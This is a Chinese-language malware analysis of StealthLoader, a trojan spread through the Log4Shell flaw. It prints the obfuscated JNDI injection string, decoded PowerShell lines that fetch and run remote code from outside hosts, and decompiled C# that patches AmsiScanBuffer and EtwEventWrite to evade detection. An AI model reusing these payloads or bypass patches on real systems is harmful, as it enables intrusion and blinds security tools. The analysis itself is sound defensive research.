利用log4shell傳播的StealthLoader病毒分析
概述
最近log4j爆出重大安全漏洞CVE-2021-44228(也被稱為log4shell)。在觀測了一系列利用log4shell攻擊的活動后,安全研究人員捕獲了一批新樣本,其中包括StealthLoader。該木馬病毒利用宿主機進行挖礦,并嘗試逃避探測
漏洞利用方式分析
攻擊者采用了一定的混淆方法繞過了防火墻
https://xxx.xxx.xxx/index?
id=${$[::-j]${::-n]${::-d]Sc-i]:S{::-JS{::-d]${::-a}${::-p}://2.56.59[.]123:1389/Basic/Command/Base64,cG93ZXJzaGVsbCAtYyBpZXggKCggTmV3LU9iamVjdCBTeXNOZXQuTmV0LldlYkNsaWVudCApLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3RleHRiaW4ubmV0L3Jhdy8wbDhoNHh1dnhlJykp}
base64解碼得到
powershell -c iex (( New-Object SysNet.Net.WebClient ).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))
去textbin下載了一個字符串并執行
0l8h4xuvxe分析
$a="http://2.56.59.123/setup.exe";
$b="c:\windows\temp\setup.exe";
$c = "c:\users\public\setup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b;
Start-Process -FilePath $b;
exit;
}catch{};
try{
(New-Object System.Net.WebClient).DownloadFile($a, $c);
Start-Process -FilePath $c;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $c;
Start-Process -FilePath $c;
exit;
}catch{}
獲取了setup.exe,并且下載到兩個地方,然后創建進程。目前下載服務器以及無法訪問。
這里值得注意的是,同時采用了c#內置類和Start-BitsTransfer兩種方式下載,增加下載成功率
setup.exe分析
扔進各種云沙箱試一試


先丟進peid走一波~

是一個由C#寫成的病毒文件,并且有混淆
丟進dnspy,找到入口點
private static void DatabaseExists(string[] objectInstance)
{
NamespaceData.SearchResultReferenceCollection searchResultReferenceCollection = new NamespaceData.SearchResultReferenceCollection();
string isForwarder = NamespaceData.get_IsForwarder(); // 獲取隨機字串,這個字符串也是固定的,使用NamespaceData.PropertiesInError相關作為種子,初始化為空串
string fileName = Process.GetCurrentProcess().MainModule.FileName;
string str = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System", "SystemBiosVersion", "0").ToString();
object value = Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString", "0"); // 獲取計算機相關信息
NamespaceData.PropertiesInError = str + ((value != null) ? value.ToString() : null);
int num = BitConverter.ToInt32(SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(NamespaceData.PropertiesInError)), 0); // 由于計算機信息固定,所以每次計算的隨機數也是固定的
searchResultReferenceCollection.CommandField_DefaultCancelCaption = new Random(num + 5);
string name = new string(Enumerable.Repeat<string>("abcdefghijklmnopqrstuvwxyz", 5).Select(new Func<string, char>(searchResultReferenceCollection.VisitClientParameter)).ToArray<char>());// 產生的name也是固定的
try
{
Mutex.OpenExisting(name); // 創建互斥體
Environment.Exit(0);
}
catch
{
}
Process process = new Process();
if (!fileName.Contains(isForwarder))
{
File.Copy(fileName, "c:\\windows\\temp\\" + isForwarder + ".exe", true); // 復制文件
process.StartInfo.FileName = "c:\\windows\\temp\\" + isForwarder + ".exe";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // 隱藏窗體
process.StartInfo.CreateNoWindow = true;
process.Start(); // 開始進程
return;
}
process.StartInfo.FileName = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe";
process.StartInfo.Arguments = "/U " + Process.GetCurrentProcess().MainModule.FileName;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.CreateNoWindow = true;
process.Start(); // 啟動InstallUtil.exe
Thread.Sleep(5000); // 對抗沙箱
bool flag = false;
Process[] processes = Process.GetProcesses();
for (int i = 0; i < processes.Length; i++)
{
if (processes[i].ProcessName.ToLower().Contains("installutil"))
{
flag = true;
}
}
if (!flag)
{
NamespaceData.InternalInitSortHandle();
}
}
可以看到,樣本首先獲取一個固定的字符串,然后獲取系統信息,利用系統信息創建新的種子,這樣每次獲取到的字符串都是一樣的。然后打開一個隨機串代表的互斥體,但是這個互斥體一定是不存在的,所以利用異常控制流來到了下面的代碼。
然后開始創建進程,首先將自身復制到temp目錄下,啟動那個進程,而自己則退出
另一個進程啟動后,則繼續執行下面的操作,比如啟動installutil.exe安裝程序,否則就執行NamespaceData.InternalInitSortHandle方法
public static void InternalInitSortHandle()
{
NamespaceData.Point3DCollection point3DCollection = new NamespaceData.Point3DCollection();
NamespaceData.DefaultStartChar = Process.GetCurrentProcess().Handle;
NamespaceData.get_ObjectStateEntry_CannotModifyKeyEntryState();
NamespaceData.set_DataFormatString();
Thread.Sleep(1000);
byte[] rawAssembly = NamespaceData.Write_unsignedByte(NamespaceData.get_UCS4_3412(Convert.FromBase64String("AWaovEI5EN1fKw8MYjzNpjzWUaFLWXMMI4tmB2KTu7s="), CompiledXpathExpr.ChannelPoolKey).ToArray<byte>());
point3DCollection.PnrpPortBlocked = Assembly.Load(rawAssembly);
new Thread(new ThreadStart(point3DCollection.set_ActiveButton)).Start();
for (;;)
{
Console.ReadKey(true); // 阻塞并防止CPU占用過高
}
}
先執行了set_DataFormatString
private static void set_DataFormatString()
{
try
{
IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("dpvl1goo")), NamespaceData.DisconnectTransaction("DpvlVfdqExiihu"));
// 這里ReValidateManifestSignatures是DllImport導入的一個函數,DisconnectTransaction是字符串解密函數
// amsi.dll AmsiScanBuffer
byte[] array;
if (!NamespaceData.get_CustomMetadataNames())
{
RuntimeHelpers.InitializeArray(array = new byte[8], fieldof(IconBitmapDecoder.AppSequenceMessageNumber).FieldHandle);
}
else
{
RuntimeHelpers.InitializeArray(array = new byte[6], fieldof(IconBitmapDecoder.WebPartDisplayModeCollection_DuplicateName).FieldHandle);
}
byte[] array2 = array;
uint dwObjectType;
NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), 64U, out dwObjectType);
Marshal.Copy(array2, 0, intPtr, array2.Length);
uint num;
NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), dwObjectType, out num);
}
catch
{
}
}
將amsi.dll的AmsiScanBuffer更改成了如下指令
0x0: mov eax, 0x80070057 0x5: ret
然后執行了一段匯編代碼
通過調試,發現調用了這里
private static void get_ObjectStateEntry_CannotModifyKeyEntryState()
{
try
{
IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("qwgoo1goo")), NamespaceData.DisconnectTransaction("HwzHyhqwZulwh"));
// ntdll.dll EtwEventWrite
byte[] array2;
if (!NamespaceData.get_CustomMetadataNames())
{
byte[] array = new byte[3];
array[0] = 194;
array2 = array;
array[1] = 20;
}
else
{
(array2 = new byte[1])[0] = 195;
}
byte[] array3 = array2;
uint dwObjectType;
NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), 64U, out dwObjectType);
IntPtr intPtr2;
bool flag = NamespaceData.get_GroupAggBasedExpression(NamespaceData.DefaultStartChar, intPtr, array3, array3.Length, out intPtr2);
uint num;
NamespaceData..Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), dwObjectType, out num);
}
catch
{
}
}
上面的函數名帶有混淆性質,查看DllImport如下
[DllImport("kernel32.dll", EntryPoint = "VirtualProtectEx")]
private static extern bool .Subscribe>b__7_0(IntPtr inputLanguage, IntPtr pixelsC, UIntPtr Op, uint dwObjectType, out uint show);
// Token: 0x06000004 RID: 4
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
private static extern IntPtr set_CreateNoWindow(string typedMessage);
// Token: 0x06000005 RID: 5
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
private static extern bool get_GroupAggBasedExpression(IntPtr collectionOfEntityType, IntPtr cbReturn, byte[] totalBytesToSend, int stateGraph, out IntPtr lpPrefixString);
// Token: 0x06000006 RID: 6
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
private static extern IntPtr ReValidateManifestSignatures(IntPtr locKeys, string KeyPair);
先更改了一些屬性,然后將ntdll.dll的EtwEventWrite的第一條指令改為ret
行為分析
由于靜態分析過于復雜,這里使用火絨進行行為分析,火絨監控到了病毒的釋放
根據參考文獻[6],該病毒會竊取信息、遠程控制等。
重新調試了以下,上面寫入匯編代碼的地方就是釋放病毒的地方,因為嘗試保存rawAssembly數組進行分析時火絨檢測到了病毒。

總結
經過分析,發現樣本中各種函數名、類名都是有誤導性質的,這大大干擾了分析工作。并且采用了多種方式比如延時執行、更改dll等方式來對抗沙盒和人工分析。
參考資料
[1] https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/
[2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex.openexisting?view=net-6.0#:~:text=The%20example%20uses%20the%20OpenExisting%20%28String%29%20method%20overload,to%20read%20and%20change%20permissions%20on%20the%20mutex.
[3] https://docs.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0
[4] https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite
[5] https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory#:~:text=WriteProcessMemory%20copies%20the%20data%20from%20the%20specified%20buffer,to%20be%20written%20to%20can%20call%20the%20function.
[6] https://www.pcthreat.com/parasitebyid-22682en.html